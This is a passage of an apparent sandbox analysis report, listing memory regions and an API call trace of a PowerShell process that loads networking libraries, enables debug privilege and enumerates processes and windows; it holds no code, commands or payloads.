0x2af0000 end_va = 0x2afffff entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 1032 start_va = 0x2b00000 end_va = 0x2b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 1033 start_va = 0x1bc40000 end_va = 0x1bc4ffff entry_point = 0x0 region_type = private name = "private_0x000000001bc40000" filename = "" Region: id = 1034 start_va = 0x7ff00240000 end_va = 0x7ff0024ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00240000" filename = "" Region: id = 1035 start_va = 0x7ff00250000 end_va = 0x7ff0025ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00250000" filename = "" Region: id = 1036 start_va = 0x7ff00260000 end_va = 0x7ff0026ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00260000" filename = "" Region: id = 1037 start_va = 0x1bc50000 end_va = 0x1bc5ffff entry_point = 0x0 region_type = private name = "private_0x000000001bc50000" filename = "" Region: id = 1038 start_va = 0x1bcf0000 end_va = 0x1c67ffff entry_point = 0x0 region_type = private name = "private_0x000000001bcf0000" filename = "" Region: id = 1039 start_va = 0x7fede980000 end_va = 0x7fedeac2fff entry_point = 0x7fede980000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuration\\091b931d0f6408001747dbbbb05dbe66\\system.configuration.ni.dll") Region: id = 1040 start_va = 0x7ff00270000 end_va = 0x7ff0027ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00270000" filename = "" Region: id = 1041 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1042 start_va = 0x7fef2be0000 end_va = 0x7fef2c41fff entry_point = 0x7fef2be0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1043 start_va = 0x7fefa430000 end_va = 0x7fefa44bfff entry_point = 0x7fefa430000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1044 start_va = 0x7fefa650000 end_va = 0x7fefa660fff entry_point = 0x7fefa650000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1045 start_va = 0x7fefc870000 end_va = 0x7fefc8c4fff entry_point = 0x7fefc870000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1046 start_va = 0x1c680000 end_va = 0x1c7fffff entry_point = 0x0 region_type = private name = "private_0x000000001c680000" filename = "" Region: id = 1047 start_va = 0x7fefc270000 end_va = 0x7fefc276fff entry_point = 0x7fefc270000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1048 start_va = 0x7fefc860000 end_va = 0x7fefc866fff entry_point = 0x7fefc860000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1049 start_va = 0x1bc60000 end_va = 0x1bc7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bc60000" filename = "" Region: id = 1050 start_va = 0x1c910000 end_va = 0x1c98ffff entry_point = 0x0 region_type = private name = "private_0x000000001c910000" filename = "" Region: id = 1051 start_va = 0x7fef74d0000 end_va = 0x7fef7533fff entry_point = 0x7fef74d0000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1052 start_va = 0x7fef7540000 end_va = 0x7fef75b0fff entry_point = 0x7fef7540000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1053 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1054 start_va = 0x1c9e0000 end_va = 0x1ca5ffff entry_point = 0x0 region_type = private name = "private_0x000000001c9e0000" filename = "" Region: id = 1055 start_va = 0x7fefabf0000 end_va = 0x7fefac16fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1056 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1057 start_va = 0x7fefabe0000 end_va = 0x7fefabeafff entry_point = 0x7fefabe0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1058 start_va = 0x7fefaa60000 end_va = 0x7fefaa70fff entry_point = 0x7fefaa60000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1059 start_va = 0x7fefaa40000 end_va = 0x7fefaa57fff entry_point = 0x7fefaa40000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1060 start_va = 0x7fefc4d0000 end_va = 0x7fefc4d9fff entry_point = 0x7fefc4d0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1061 start_va = 0x1ca70000 end_va = 0x1caeffff entry_point = 0x0 region_type = private name = "private_0x000000001ca70000" filename = "" Region: id = 1062 start_va = 0x7fefc6f0000 end_va = 0x7fefc74afff entry_point = 0x7fefc6f0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1063 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1064 start_va = 0x1caf0000 end_va = 0x1cceffff entry_point = 0x0 region_type = private name = "private_0x000000001caf0000" filename = "" Region: id = 1065 start_va = 0x7fef5300000 end_va = 0x7fef5307fff entry_point = 0x7fef5300000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1066 start_va = 0x7fefaa90000 end_va = 0x7fefaae2fff entry_point = 0x7fefaa90000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1067 start_va = 0x1c680000 end_va = 0x1c77ffff entry_point = 0x0 region_type = private name = "private_0x000000001c680000" filename = "" Region: id = 1068 start_va = 0x1c780000 end_va = 0x1c7fffff entry_point = 0x0 region_type = private name = "private_0x000000001c780000" filename = "" Region: id = 1069 start_va = 0x7ff00280000 end_va = 0x7ff0028ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00280000" filename = "" Region: id = 1070 start_va = 0x1bc80000 end_va = 0x1bc83fff entry_point = 0x1bc80000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1071 start_va = 0x1c870000 end_va = 0x1c8effff entry_point = 0x0 region_type = private name = "private_0x000000001c870000" filename = "" Region: id = 1072 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1073 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 1074 start_va = 0x7fefea20000 end_va = 0x7fefeb49fff entry_point = 0x7fefea210d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1075 start_va = 0x7fefe3b0000 end_va = 0x7fefe608fff entry_point = 0x7fefe3b1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1076 start_va = 0x1bc90000 end_va = 0x1bc90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bc90000" filename = "" Region: id = 1139 start_va = 0x7ff00290000 end_va = 0x7ff0029ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00290000" filename = "" Region: id = 1140 start_va = 0x7fefb220000 end_va = 0x7fefb22bfff entry_point = 0x7fefb220000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Thread: id = 23 os_tid = 0xaf0 [0021.714] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0021.958] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0021.958] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0021.958] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0021.958] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0022.841] GetVersionExW (in: lpVersionInformation=0xcd880*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xcd880*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0022.842] GetVersionExW (in: lpVersionInformation=0xcd880*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xcd880*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0022.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcd4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0022.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcd540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0022.852] GetVersionExW (in: lpVersionInformation=0xcd5f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xcd5f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0022.853] SetErrorMode (uMode=0x1) returned 0x1 [0022.853] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0xcd750 | out: lpFileInformation=0xcd750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0022.854] SetErrorMode (uMode=0x1) returned 0x1 [0022.860] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0xcd9c0 | out: lpdwHandle=0xcd9c0) returned 0x94c [0022.862] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2b97fd8 | out: lpData=0x2b97fd8) returned 1 [0022.863] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xcd938, puLen=0xcd930 | out: lplpBuffer=0xcd938*=0x2b98074, puLen=0xcd930) returned 1 [0022.866] lstrlenW (lpString="䅁") returned 1 [0022.874] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0xcd8a8, puLen=0xcd8a0 | out: lplpBuffer=0xcd8a8*=0x2b98150, puLen=0xcd8a0) returned 1 [0022.874] lstrlenW (lpString="Microsoft Corporation") returned 21 [0022.875] CoTaskMemAlloc (cb=0x2e) returned 0x307040 [0022.875] lstrcpyW (in: lpString1=0x307040, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0022.876] CoTaskMemFree (pv=0x307040) [0022.876] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0xcd8a8, puLen=0xcd8a0 | out: lplpBuffer=0xcd8a8*=0x2b981a4, puLen=0xcd8a0) returned 1 [0022.876] lstrlenW (lpString="System.Management.Automation") returned 28 [0022.876] CoTaskMemAlloc (cb=0x3c) returned 0x309370 [0022.876] lstrcpyW (in: lpString1=0x309370, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0022.876] CoTaskMemFree (pv=0x309370) [0022.876] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0xcd8a8, puLen=0xcd8a0 | out: lplpBuffer=0xcd8a8*=0x2b98200, puLen=0xcd8a0) returned 1 [0022.876] lstrlenW (lpString="6.1.7601.17514") returned 14 [0022.876] CoTaskMemAlloc (cb=0x20) returned 0x3075a0 [0022.876] lstrcpyW (in: lpString1=0x3075a0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0022.876] CoTaskMemFree (pv=0x3075a0) [0022.876] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0xcd8a8, puLen=0xcd8a0 | out: lplpBuffer=0xcd8a8*=0x2b98240, puLen=0xcd8a0) returned 1 [0022.876] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0022.876] CoTaskMemAlloc (cb=0x44) returned 0x309370 [0022.876] lstrcpyW (in: lpString1=0x309370, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0022.876] CoTaskMemFree (pv=0x309370) [0022.876] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0xcd8a8, puLen=0xcd8a0 | out: lplpBuffer=0xcd8a8*=0x2b982a8, puLen=0xcd8a0) returned 1 [0022.876] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0022.876] CoTaskMemAlloc (cb=0x76) returned 0x2a15a0 [0022.876] lstrcpyW (in: lpString1=0x2a15a0, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0022.876] CoTaskMemFree (pv=0x2a15a0) [0022.876] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0xcd8a8, puLen=0xcd8a0 | out: lplpBuffer=0xcd8a8*=0x2b98344, puLen=0xcd8a0) returned 1 [0022.876] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0022.876] CoTaskMemAlloc (cb=0x44) returned 0x309370 [0022.876] lstrcpyW (in: lpString1=0x309370, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0022.876] CoTaskMemFree (pv=0x309370) [0022.876] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0xcd8a8, puLen=0xcd8a0 | out: lplpBuffer=0xcd8a8*=0x2b983a8, puLen=0xcd8a0) returned 1 [0022.877] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0022.877] CoTaskMemAlloc (cb=0x58) returned 0x25ff90 [0022.877] lstrcpyW (in: lpString1=0x25ff90, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0022.877] CoTaskMemFree (pv=0x25ff90) [0022.877] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0xcd8a8, puLen=0xcd8a0 | out: lplpBuffer=0xcd8a8*=0x2b98424, puLen=0xcd8a0) returned 1 [0022.877] lstrlenW (lpString="6.1.7601.17514") returned 14 [0022.877] CoTaskMemAlloc (cb=0x20) returned 0x3075a0 [0022.877] lstrcpyW (in: lpString1=0x3075a0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0022.877] CoTaskMemFree (pv=0x3075a0) [0022.877] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0xcd8a8, puLen=0xcd8a0 | out: lplpBuffer=0xcd8a8*=0x2b980cc, puLen=0xcd8a0) returned 1 [0022.877] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0022.877] CoTaskMemAlloc (cb=0x66) returned 0x303b10 [0022.877] lstrcpyW (in: lpString1=0x303b10, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0022.877] CoTaskMemFree (pv=0x303b10) [0022.877] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0xcd8a8, puLen=0xcd8a0 | out: lplpBuffer=0xcd8a8*=0x0, puLen=0xcd8a0) returned 0 [0022.877] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0xcd8a8, puLen=0xcd8a0 | out: lplpBuffer=0xcd8a8*=0x0, puLen=0xcd8a0) returned 0 [0022.877] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0xcd8a8, puLen=0xcd8a0 | out: lplpBuffer=0xcd8a8*=0x0, puLen=0xcd8a0) returned 0 [0022.877] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xcd878, puLen=0xcd870 | out: lplpBuffer=0xcd878*=0x2b98074, puLen=0xcd870) returned 1 [0022.878] CoTaskMemAlloc (cb=0x204) returned 0x2a4330 [0022.878] VerLanguageNameW (in: wLang=0x0, szLang=0x2a4330, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0022.880] CoTaskMemFree (pv=0x2a4330) [0022.880] VerQueryValueW (in: pBlock=0x2b97fd8, lpSubBlock="\\", lplpBuffer=0xcd8c8, puLen=0xcd8c0 | out: lplpBuffer=0xcd8c8*=0x2b98000, puLen=0xcd8c0) returned 1 [0022.886] GetCurrentProcessId () returned 0xaec [0022.913] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0xcc7f0 | out: lpLuid=0xcc7f0*(LowPart=0x14, HighPart=0)) returned 1 [0022.914] GetCurrentProcess () returned 0xffffffffffffffff [0022.915] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0xcc810 | out: TokenHandle=0xcc810*=0x2ec) returned 1 [0022.916] AdjustTokenPrivileges (in: TokenHandle=0x2ec, DisableAllPrivileges=0, NewState=0x2b9b850*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0022.917] CloseHandle (hObject=0x2ec) returned 1 [0022.921] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xaec) returned 0x2ec [0022.928] EnumProcessModules (in: hProcess=0x2ec, lphModule=0x2b9b8b8, cb=0x200, lpcbNeeded=0xcd828 | out: lphModule=0x2b9b8b8, lpcbNeeded=0xcd828) returned 1 [0022.930] GetModuleInformation (in: hProcess=0x2ec, hModule=0x13f7a0000, lpmodinfo=0x2b9bb28, cb=0x18 | out: lpmodinfo=0x2b9bb28*(lpBaseOfDll=0x13f7a0000, SizeOfImage=0x77000, EntryPoint=0x13f7ac63c)) returned 1 [0022.931] CoTaskMemAlloc (cb=0x804) returned 0x30fad0 [0022.931] GetModuleBaseNameW (in: hProcess=0x2ec, hModule=0x13f7a0000, lpBaseName=0x30fad0, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0022.931] CoTaskMemFree (pv=0x30fad0) [0022.932] CoTaskMemAlloc (cb=0x804) returned 0x30fad0 [0022.932] GetModuleFileNameExW (in: hProcess=0x2ec, hModule=0x13f7a0000, lpFilename=0x30fad0, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0022.932] CoTaskMemFree (pv=0x30fad0) [0022.932] CloseHandle (hObject=0x2ec) returned 1 [0022.938] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xaec) returned 0x2ec [0022.939] GetExitCodeProcess (in: hProcess=0x2ec, lpExitCode=0xcd958 | out: lpExitCode=0xcd958*=0x103) returned 1 [0022.945] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12b9b088, Length=0x20000, ResultLength=0xcd920 | out: SystemInformation=0x12b9b088, ResultLength=0xcd920*=0xd520) returned 0x0 [0022.954] EnumWindows (lpEnumFunc=0x23d66ac, lParam=0x0) returned 1 [0022.955] GetWindowThreadProcessId (in: hWnd=0x5011a, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.955] GetWindowThreadProcessId (in: hWnd=0x50020, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.955] GetWindowThreadProcessId (in: hWnd=0x3011c, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.955] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.955] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.955] GetWindowThreadProcessId (in: hWnd=0x1013e, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x45c [0022.955] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x31c [0022.955] GetWindowThreadProcessId (in: hWnd=0x200d2, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.955] GetWindowThreadProcessId (in: hWnd=0x200ec, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x200f6, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x200ea, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x588 [0022.956] GetWindowThreadProcessId (in: hWnd=0x500a2, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.956] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0xad4 [0022.956] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.956] GetWindowThreadProcessId (in: hWnd=0x301b8, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.957] GetWindowThreadProcessId (in: hWnd=0x201ec, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.957] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.957] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0xa38 [0022.957] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.957] GetWindowThreadProcessId (in: hWnd=0x201de, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.957] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.957] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x94c [0022.957] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x93c [0022.957] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x92c [0022.957] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x91c [0022.957] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x900 [0022.957] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x8f0 [0022.957] 